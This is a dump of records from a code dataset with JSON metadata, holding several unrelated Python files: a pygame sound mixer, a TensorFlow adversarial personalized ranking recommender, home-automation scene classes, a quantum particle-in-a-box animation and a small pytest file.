pg\n\npg.mixer.init()\n\nclass Mezclador():\n def __init__(self):\n self.playList = [pg.mixer.music.load(\"./sonidos/rock1.ogg\"),\n pg.mixer.music.load(\"./sonidos/rock2.ogg\"),\n pg.mixer.music.load(\"./sonidos/rock3.ogg\")]\n self.musicMenu = pg.mixer.Sound(\"./sonidos/menu.ogg\")\n self.musicHistoria = pg.mixer.Sound(\"./sonidos/historia.ogg\")\n self.sonidoClick = pg.mixer.Sound('./sonidos/Click.ogg')\n self.grunt = pg.mixer.Sound('./sonidos/grunt.ogg')\n self.flagMenu = True\n self.flagMudo = False\n self.flagHistoria = True\n self.conPlayList = 0\n\n def update(self,estados):\n self.menu(estados)\n self.historia(estados)\n self.musica(estados)\n\n def menu(self,estados):\n if self.flagMudo:\n self.musicMenu.stop()\n self.flagMenu = True\n elif estados[\"inicio\"] and not self.flagMudo and self.flagMenu:\n self.musicMenu.play(-1)\n self.flagMenu = False\n elif not estados[\"inicio\"]:# and not self.flagMenu:\n self.musicMenu.stop()\n self.flagMenu = True\n\n def historia(self,estados):\n if self.flagMudo:\n self.musicHistoria.stop()\n self.flagHistoria = True\n elif estados[\"historia\"] and not self.flagMudo and self.flagHistoria:\n self.musicHistoria.play(-1)\n self.flagHistoria = False\n elif not estados[\"historia\"]:# and not self.flagMenu:\n self.musicHistoria.stop()\n self.flagHistoria = True\n\n def click(self):\n self.sonidoClick.play()\n\n def grunt(self):\n self.grunt.play()\n\n def musica(self,estados):\n if estados[\"nivel1\"] or estados[\"nivel2\"]:\n if not self.flagMudo:\n if pg.mixer.music.get_busy() == 0: #1 es sonando y 0 es sin sonido\n self.playList[self.nextSong()]\n pg.mixer.music.play()\n elif estados[\"inicio\"]:\n pg.mixer.music.stop()\n\n def nextSong(self):\n if self.conPlayList < len(self.playList):\n self.conPlayList += 1\n else:\n self.conPlayList = 0\n return (self.conPlayList - 1)\n\n def mudo(self):\n if not self.flagMudo:\n self.flagMudo = True\n print(\"apagado\")\n else:\n self.flagMudo = False\n print(\"encendido\")\n\n def getMudo(self):\n return self.flagMudo\n", "sub_path": "sonidos/sonidos.py", "file_name": "sonidos.py", "file_ext": "py", "file_size_in_byte": 2498, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pygame.mixer.init", "line_number": 3, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 3, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.get_busy", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.stop", "line_number": 59, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 59, "usage_type": "attribute"}]} +{"seq_id": "485424395", "text": "\"\"\"\nPaper: Adversarial Personalized Ranking for Recommendation\nAuthor: Xiangnan He, Zhankui He, Xiaoyu Du and Tat-Seng Chua\nReference: https://github.com/hexiangnan/adversarial_personalized_ranking\n\"\"\"\n\nfrom model.base import AbstractRecommender\nimport tensorflow as tf\nimport numpy as np\nfrom utils.tools import csr_to_user_dict, csr_to_pairwise\nfrom utils import DataIterator\nfrom utils.tools import timer\nfrom modules import inner_product, log_loss\nfrom tensorflow.python.keras.layers import Embedding\n\n\n# prediction model\nclass APR(AbstractRecommender):\n def __init__(self, config):\n super(APR, self).__init__(config)\n train_matrix = self.dataset.train_matrix\n self.num_users, self.num_items = train_matrix.shape\n\n self.embedding_size = config[\"embed_size\"]\n self.learning_rate = config[\"lr\"]\n self.batch_size = config[\"batch_size\"]\n self.reg = config[\"reg\"]\n self.dns = config[\"dns\"]\n self.adv = config[\"adv\"]\n self.eps = config[\"eps\"]\n self.adv_epoch = config[\"adv_epoch\"]\n self.reg_adv = config[\"reg_adv\"]\n self.epochs = config[\"epochs\"]\n self.train_matrix = train_matrix\n\n self.user_pos_train = csr_to_user_dict(train_matrix)\n\n self.all_items = np.arange(self.num_items)\n self.build_model()\n self.sess.run(tf.global_variables_initializer())\n\n def _create_placeholders(self):\n with tf.name_scope(\"input_data\"):\n self.user_input = tf.placeholder(tf.int32, shape=[None], name=\"user_input\")\n self.item_input_pos = tf.placeholder(tf.int32, shape=[None], name=\"item_input_pos\")\n self.item_input_neg = tf.placeholder(tf.int32, shape=[None, None], name=\"item_input_neg\")\n self.steps = tf.placeholder(tf.int32, name=\"epoch\")\n steps = tf.cast(self.steps, dtype=tf.float32)\n self.growth = 2 * tf.sigmoid(steps / 10.0) - 1 # increase the adversarial perturbations gradually\n\n def _create_variables(self):\n with tf.name_scope(\"embedding\"):\n regularizer = tf.keras.regularizers.l2(self.reg)\n # embedding layers\n emb_P_init = tf.keras.initializers.truncated_normal(mean=0.0, stddev=0.01)\n self.emb_P_layer = Embedding(self.num_users, self.embedding_size,\n embeddings_initializer=emb_P_init,\n embeddings_regularizer=regularizer)\n\n emb_Q_init = tf.keras.initializers.truncated_normal(mean=0.0, stddev=0.01)\n self.emb_Q_layer = Embedding(self.num_items, self.embedding_size,\n embeddings_initializer=emb_Q_init,\n embeddings_regularizer=regularizer)\n\n self.delta_P_layer = Embedding(self.num_users, self.embedding_size,\n embeddings_initializer=tf.keras.initializers.zeros(),\n trainable=False)\n\n self.delta_Q_layer = Embedding(self.num_items, self.embedding_size,\n embeddings_initializer=tf.keras.initializers.zeros(),\n trainable=False)\n\n def _create_loss(self):\n with tf.name_scope(\"loss\"):\n # loss for L(Theta)\n # get embedding\n embedding_p = self.emb_P_layer(self.user_input) # (b, embedding_size)\n embedding_q_pos = self.emb_Q_layer(self.item_input_pos) # (b, embedding_size)\n embedding_q_neg = self.emb_Q_layer(self.item_input_neg) # (b, ?, embedding_size)\n\n output_pos = inner_product(embedding_p, embedding_q_pos) # (b,)\n embedding_p_tmp = tf.expand_dims(embedding_p, axis=1) # (b, 1, embedding_size)\n outputs_neg = inner_product(embedding_p_tmp, embedding_q_neg) # (b, ?)\n output_neg = tf.reduce_max(outputs_neg, axis=-1) # (b,)\n\n # bpr loss\n yij = tf.clip_by_value(output_pos - output_neg, -80.0, 1e8)\n self.bpr_loss = tf.reduce_sum(log_loss(yij))\n\n # loss for L(Theta + adv_Delta)\n # Note that the number of negative item is 1 while adversarial training.\n delta_p = self.delta_P_layer(self.user_input) # (b, embedding_size)\n delta_q_pos = self.delta_Q_layer(self.item_input_pos) # (b, embedding_size)\n delta_q_neg = tf.squeeze(self.delta_Q_layer(self.item_input_neg)) # (b, embedding_size)\n # perturbed embedding\n p_plus_delta = embedding_p + delta_p\n pos_q_plus_delta = embedding_q_pos + delta_q_pos\n neg_q_plus_delta = tf.squeeze(embedding_q_neg) + delta_q_neg\n # perturbed predict\n adv_output_pos = inner_product(p_plus_delta, pos_q_plus_delta)\n adv_output_neg = inner_product(p_plus_delta, neg_q_plus_delta)\n\n # adversarial loss\n adv_yij = tf.clip_by_value(adv_output_pos - adv_output_neg, -80.0, 1e8)\n adv_loss = tf.reduce_sum(log_loss(adv_yij))\n self.amf_loss = self.bpr_loss + self.growth * self.reg_adv * adv_loss\n\n self.embedding_P = self.emb_P_layer.weights[0]\n self.embedding_Q = self.emb_Q_layer.weights[0]\n self.delta_P = self.delta_P_layer.weights[0]\n self.delta_Q = self.delta_Q_layer.weights[0]\n\n def _create_adversarial(self):\n with tf.name_scope(\"adversarial\"):\n # generate the adversarial weights by random method\n if self.adv == \"random\":\n # generation\n self.adv_P = tf.truncated_normal(shape=[self.num_users, self.embedding_size], mean=0.0, stddev=0.01)\n self.adv_Q = tf.truncated_normal(shape=[self.num_items, self.embedding_size], mean=0.0, stddev=0.01)\n\n # normalization and multiply epsilon\n self.update_P = self.delta_P.assign(tf.nn.l2_normalize(self.adv_P, 1) * self.eps * self.growth)\n self.update_Q = self.delta_Q.assign(tf.nn.l2_normalize(self.adv_Q, 1) * self.eps * self.growth)\n\n # generate the adversarial weights by gradient-based method\n elif self.adv == \"grad\":\n # return the IndexedSlice Data: [(values, indices, dense_shape)]\n # grad_var_P: [grad,var], grad_var_Q: [grad, var]\n self.grad_P, self.grad_Q = tf.gradients(self.bpr_loss, [self.embedding_P, self.embedding_Q])\n\n # convert the IndexedSlice Data to Dense Tensor\n self.grad_P_dense = tf.stop_gradient(self.grad_P)\n self.grad_Q_dense = tf.stop_gradient(self.grad_Q)\n\n # normalization: new_grad = (grad / |grad|) * eps\n self.update_P = self.delta_P.assign(tf.nn.l2_normalize(self.grad_P_dense, 1) * self.eps * self.growth)\n self.update_Q = self.delta_Q.assign(tf.nn.l2_normalize(self.grad_Q_dense, 1) * self.eps * self.growth)\n\n def _create_optimizer(self):\n with tf.name_scope(\"optimizer\"):\n self.bpr_optimizer = tf.train.AdagradOptimizer(learning_rate=self.learning_rate).minimize(self.bpr_loss)\n self.amf_optimizer = tf.train.AdagradOptimizer(learning_rate=self.learning_rate).minimize(self.amf_loss)\n\n def build_model(self):\n self._create_placeholders()\n self._create_variables()\n self._create_loss()\n self._create_optimizer()\n self._create_adversarial()\n\n def train_model(self):\n self._pre_training()\n self._adversarial_training()\n\n def _pre_training(self):\n # pretrain\n self.logger.info(\"Pre-training\")\n for epoch in range(self.adv_epoch):\n users, pos_items, neg_items = csr_to_pairwise(self.train_matrix, neg_num=self.dns, fold_neg=True)\n data = DataIterator(users, pos_items, neg_items, batch_size=self.batch_size, shuffle=True)\n for user_input, item_input_pos, item_dns_list in data:\n feed_dict = {self.user_input: user_input,\n self.item_input_pos: item_input_pos,\n self.item_input_neg: item_dns_list}\n self.sess.run(self.bpr_optimizer, feed_dict)\n\n result = self.evaluate_model()\n self.logger.info(\"%d:\\t%s\" % (epoch, result))\n\n def _adversarial_training(self):\n # adversarial training\n self.logger.info(\"Adversarial training\")\n for epoch in range(self.adv_epoch, self.epochs):\n users, pos_items, neg_items = csr_to_pairwise(self.train_matrix, neg_num=1, fold_neg=True)\n data = DataIterator(users, pos_items, neg_items, batch_size=self.batch_size, shuffle=True)\n for user_input, item_input_pos, item_input_neg in data:\n feed_dict = {self.user_input: user_input,\n self.item_input_pos: item_input_pos,\n self.item_input_neg: item_input_neg,\n self.steps: epoch}\n\n self.sess.run([self.update_P, self.update_Q], feed_dict)\n self.sess.run(self.amf_optimizer, feed_dict)\n\n result = self.evaluate_model()\n self.logger.info(\"%d:\\t%s\" % (epoch, result))\n\n def evaluate_model(self):\n self.user_embedding_eval, self.item_embedding_eval = self.sess.run([self.embedding_P, self.embedding_Q])\n result = self.evaluator.evaluate(self)\n buf = '\\t'.join([str(x) for x in result])\n return buf\n\n def predict_for_eval(self, users):\n user_embedding = self.user_embedding_eval[users]\n item_embedding = self.item_embedding_eval\n ratings = np.matmul(user_embedding, item_embedding.T)\n return ratings\n", "sub_path": "model/APR.py", "file_name": "APR.py", "file_ext": "py", "file_size_in_byte": 9779, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "model.base.AbstractRecommender", "line_number": 18, "usage_type": "name"}, {"api_name": "utils.tools.csr_to_user_dict", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 44, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 45, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 46, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow.sigmoid", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.keras.regularizers.l2", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 53, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.initializers.truncated_normal", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 55, "usage_type": "attribute"}, {"api_name": "tensorflow.python.keras.layers.Embedding", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.truncated_normal", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tensorflow.python.keras.layers.Embedding", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Embedding", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.zeros", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tensorflow.python.keras.layers.Embedding", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.zeros", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 74, "usage_type": "call"}, {"api_name": "modules.inner_product", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 82, "usage_type": "call"}, {"api_name": "modules.inner_product", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.reduce_max", "line_number": 84, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_value", "line_number": 87, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 88, "usage_type": "call"}, {"api_name": "modules.log_loss", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.squeeze", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.squeeze", "line_number": 98, "usage_type": "call"}, {"api_name": "modules.inner_product", "line_number": 100, "usage_type": "call"}, {"api_name": "modules.inner_product", "line_number": 101, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_value", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 105, "usage_type": "call"}, {"api_name": "modules.log_loss", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 114, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 118, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.nn.l2_normalize", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.l2_normalize", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.gradients", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.stop_gradient", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.stop_gradient", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.nn.l2_normalize", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 136, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.l2_normalize", "line_number": 137, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 137, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.train.AdagradOptimizer", "line_number": 141, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 141, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdagradOptimizer", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 142, "usage_type": "attribute"}, {"api_name": "utils.tools.csr_to_pairwise", "line_number": 159, "usage_type": "call"}, {"api_name": "utils.DataIterator", "line_number": 160, "usage_type": "call"}, {"api_name": "utils.tools.csr_to_pairwise", "line_number": 174, "usage_type": "call"}, {"api_name": "utils.DataIterator", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 197, "usage_type": "call"}]} +{"seq_id": "574228335", "text": "from threading import Thread, Event, RLock\nfrom datetime import datetime\nfrom time import sleep\nfrom homedaemon.bus import Bus\nfrom homedaemon.logger import Logger\nfrom homedaemon.devices import Devices\nfrom typing import Dict, Any, List, Set, Callable\nfrom pyiot.software import Time\n\n\n\nclass SceneInterface:\n def __init__(self, sid:str):\n self.sid = sid\n self.bus = Bus()\n self.devices = Devices()\n self.logger = Logger()\n self.name = ''\n self.model = ''\n self.place = ''\n self.running: Set[Callable[[], None]] = set()\n self.lock = RLock()\n \n def _runner(self, handler: Callable[[], None], *args:Any) -> None:\n with self.lock:\n self.logger.debug(f'Scene {self.name} running list {self.running} {handler}')\n if handler in self.running:\n self.logger.warning(f'Scene {self.name}: {handler.__name__} allready started')\n return\n else:\n self.running.add(handler)\n self.bus.emit(f'report.{self.sid}.status.on', f'Scene {self.name}: {handler.__name__} start')\n \n try:\n handler()\n except Exception as err:\n self.logger.error(f'scene running error {self.name} {err}')\n finally: \n self.bus.emit(f'report.{self.sid}.status.off', f'Scene {self.name}: {handler.__name__} end')\n self.running.remove(handler)\n \n def sleep(self, s:int):\n sleep(s)\n\n def get_device(self, sid:str):\n return self.devices.get(sid)\n\n def store_device_state(self, *sids:str):\n pass\n \n def restore_devices_state(self, *sids:str):\n pass\n \n def device_status(self) -> Dict[str,Any]:\n ret = {'status': 'off',\n 'sid': self.sid,\n 'name': self.name,\n 'place': self.place}\n if self.running:\n events :List[str] = [x.__name__ for x in self.running]\n ret['status'] = 'on'\n ret['events'] = events\n return ret\n \n def now(self):\n \"\"\"Retrun time now\"\"\"\n return datetime.now().time()\n \n\nclass BaseScene(SceneInterface):\n def __init__(self, sid:str):\n super().__init__(sid)\n self.reversible = False\n self.model = 'scene'\n self.bus.add_trigger(f'write.{self.sid}.status.on', self._on, self.on)\n self.bus.add_trigger(f'write.{self.sid}.status.off',self._off, self.off)\n \n def _on(self):\n if self.on in self.running:\n self.logger.warning(f'Scene {self.name} allready started')\n else:\n self.running.add(self.on)\n self.bus.emit(f'report{self.sid}.status.on', f'Scene {self.name}: on')\n try:\n self.on()\n # sc = Thread(name=self.name, target=self.on)\n # sc.start()\n except Exception as err:\n self.logger.error(f'scene running error {self.name} {err}')\n finally:\n if not self.reversible:\n self.bus.emit(f'report{self.sid}.status.off', f'Scene {self.name}: off')\n \n def on(self):\n pass\n \n def _off(self):\n if not self.reversible or not self.on in self.running:\n return\n try:\n self.off()\n # sc = Thread(name=self.name, target=self.off)\n # sc.start()\n except Exception as err:\n self.logger.error(f'scene running error {self.name} {err}')\n finally:\n self.bus.emit(f'report{self.sid}.status.off', f'Scene {self.name}: off')\n # self.running = False\n \n def off(self):\n pass\n\n \nclass BaseAutomation(SceneInterface):\n def __init__(self, sid:str):\n super().__init__(sid) \n self.model = 'automation'\n \n def add_trigger(self, trigger:str, handler:Callable[[], None]) -> None:\n self.bus.add_trigger(trigger, self._runner, handler)\n\n\nclass RunAfter:\n def __init__(self, delay:int, callback: Callable[[], None], *args: Any):\n self.delay = delay\n self.callback = callback\n self.args = args\n self.ev = Event()\n self._is_waiting = False\n \n def wait(self):\n Thread(target=self._wait, daemon=True).start()\n \n def _wait(self):\n self.ev.clear()\n self._is_waiting = True\n if not self.ev.wait(timeout=self.delay):\n if self.args:\n self.callback(*self.args)\n else:\n self.callback()\n else:\n print('canceled')\n \n @property\n def is_waiting(self):\n return self._is_waiting\n \n def cancel(self):\n self.ev.set()\n self._is_waiting = False\n \nclass TimeRange:\n \"\"\"TimeRange\"\"\"\n def __init__(self, _from: Time, _to: Time):\n self._from = _from\n self._to = _to\n \n def __contains__(self, value: Time):\n if value > self._to:\n return self._from <= value >= self._to\n elif value < self._to:\n return self._from >= value <= self._to\n", "sub_path": "homedaemon/scenes.py", "file_name": "scenes.py", "file_ext": "py", "file_size_in_byte": 5136, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "homedaemon.bus.Bus", "line_number": 15, "usage_type": "call"}, {"api_name": "homedaemon.devices.Devices", "line_number": 16, "usage_type": "call"}, {"api_name": "homedaemon.logger.Logger", "line_number": 17, "usage_type": "call"}, {"api_name": "typing.Set", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 21, "usage_type": "name"}, {"api_name": "threading.RLock", "line_number": 22, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 24, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 43, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 54, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 54, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 67, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 67, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 119, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 124, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 124, "usage_type": "name"}, {"api_name": "threading.Event", "line_number": 128, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 132, "usage_type": "call"}, {"api_name": "pyiot.software.Time", "line_number": 155, "usage_type": "name"}, {"api_name": "pyiot.software.Time", "line_number": 159, "usage_type": "name"}]} +{"seq_id": "218938436", "text": "import logging\n\nfrom .core.manager import Manager\nfrom .ui.qt5.mainwindow import MainWindow\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(name)s %(threadName)-s %(levelname)s: %(message)s',\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n\n\nclass Main:\n def __init__(self):\n self.ui = MainWindow(Manager())\n\n\nif __name__ == \"__main__\":\n Main()\n", "sub_path": "sample/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 394, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.basicConfig", "line_number": 6, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 6, "usage_type": "attribute"}, {"api_name": "ui.qt5.mainwindow.MainWindow", "line_number": 13, "usage_type": "call"}, {"api_name": "core.manager.Manager", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "431916486", "text": "import numpy as np\r\nfrom matplotlib import pyplot as plt\r\nfrom matplotlib import animation\r\n\r\n\r\n\r\n# First set up the figure, the axis, and the plot element we want to animate\r\nfig = plt.figure()\r\nax = plt.axes(xlim=(0, 500), ylim=(-0.3, 0.3))\r\nline, = ax.plot([], [], lw=2)\r\n\r\n\r\n\r\ndef PIB_Func(x, n, L):\r\n return np.sqrt(2/L)*np.sin(n*np.pi*x/L)\r\n\r\ndef Gauss_Packet(sig,x, x0, k0):\r\n ci = 0 + 1j\r\n pre = 1/(sig*np.sqrt(2*np.pi))\r\n gx = np.exp(-0.5*((x-x0)/sig)**2)\r\n pw = np.exp(ci*k0*x)\r\n return pre*gx*pw\r\n\r\ndef FourierAnalysis(x, PsiX, n, L):\r\n cn = np.zeros(len(n),dtype=complex)\r\n dx = x[1]-x[0]\r\n for i in range (0,len(cn)):\r\n \r\n som = 0+0j\r\n psi_i = PIB_Func(x, n[i], L)\r\n\r\n for j in range (0, len(x)):\r\n som = som + psi_i[j]*PsiX[j]*dx\r\n\r\n cn[i] = som\r\n\r\n return cn\r\n\r\ndef PIB_En(n, L):\r\n En = (n*n * np.pi*np.pi)/(2*L*L)\r\n return En\r\n\r\ndef PIB_Time(n, L, t):\r\n E = PIB_En(n, L)\r\n ci = 0.+1j\r\n phi_n_t = np.exp(-1*ci*E*t)\r\n ### Write code here to define phi_n_t\r\n return phi_n_t\r\n\r\nL = 500.\r\nsig = 20.\r\nk0 = 0.5\r\nx0 = 200.\r\nN = 500\r\nx = np.linspace(0,L,5000)\r\nn = np.linspace(1, 100,100)\r\ny=PIB_Func(x,6,L)+PIB_Func(x,3,L)\r\nP = np.real(np.conj(y)*y)\r\ncn = FourierAnalysis(x, y, n, L)\r\n\r\npsi_exp = np.zeros(len(x))\r\nfor i in range (0,len(cn)):\r\n psi_exp = psi_exp + cn[i]*PIB_Func(x, i+1, L)\r\n\r\ndef init():\r\n line.set_data([], [])\r\n return line,\r\n\r\n# animation function. This is called sequentially to generate the animation\r\ndef animate(i):\r\n \r\n ### Once PIB_Func and PIB_En are defined, the following\r\n ### code can be used to plot the time-evolution of an energy eigenfunction\r\n\r\n ### Define x-grid - this will be for a particle in a box of length L=30 atomic units (Bohr radii)\r\n ### We will represent the function with 1000 grid points (dx = 30/1000)\r\n \r\n \r\n\r\n ### Imaginary unit i\r\n \r\n psi_t = np.zeros(len(x),dtype=complex)\r\n print(cn[2],cn[5]) \r\n print(PIB_Time(3,L,i),PIB_Time(6,L,i))\r\n for j in range(0,len(cn)):\r\n psi = PIB_Func(x, n[j], L,)\r\n ft = PIB_Time(n[j], L, i)\r\n psi_t = psi_t +cn[j]*psi*ft\r\n \r\n \r\n psi_t_star = np.conj(psi_t)\r\n\r\n y = np.real(psi_t)\r\n z = np.imag(psi_t)\r\n p = np.real(psi_t_star*psi_t)\r\n line.set_data(x, y)\r\n return line,\r\n\r\n\r\nanim = animation.FuncAnimation(fig, animate, init_func=init,\r\n frames=10000, interval=200, blit=True)\r\n### uncomment to save animation as mp4 \r\n#anim.save('pib_wp.mp4', fps=20, extra_args=['-vcodec', 'libx264'])\r\nplt.show()\r\n\r\n\r\n#lt.plot(x,np.real(psi_exp),'r--', x, np.real(y), 'blue')\r\n#lt.show()\r\n", "sub_path": "oldfiles/Code.4.23.2018.py", "file_name": "Code.4.23.2018.py", "file_ext": "py", "file_size_in_byte": 2714, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axes", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.imag", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}]} +{"seq_id": "146846071", "text": "import pytest\nfrom leetcode import sort_colours\n\n\n@pytest.mark.parametrize(\n 'nums,expected',\n [\n ([0, 1, 2, 1, 2], [0, 1, 1, 2, 2]),\n ([1, 2, 1], [1, 1, 2]),\n ([1], [1]),\n ],\n)\ndef test_sort_colours(nums, expected):\n assert sort_colours.sort_colours(nums) == expected\n", "sub_path": "tests/test_sort_colours.py", "file_name": "test_sort_colours.py", "file_ext": "py", "file_size_in_byte": 302, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": 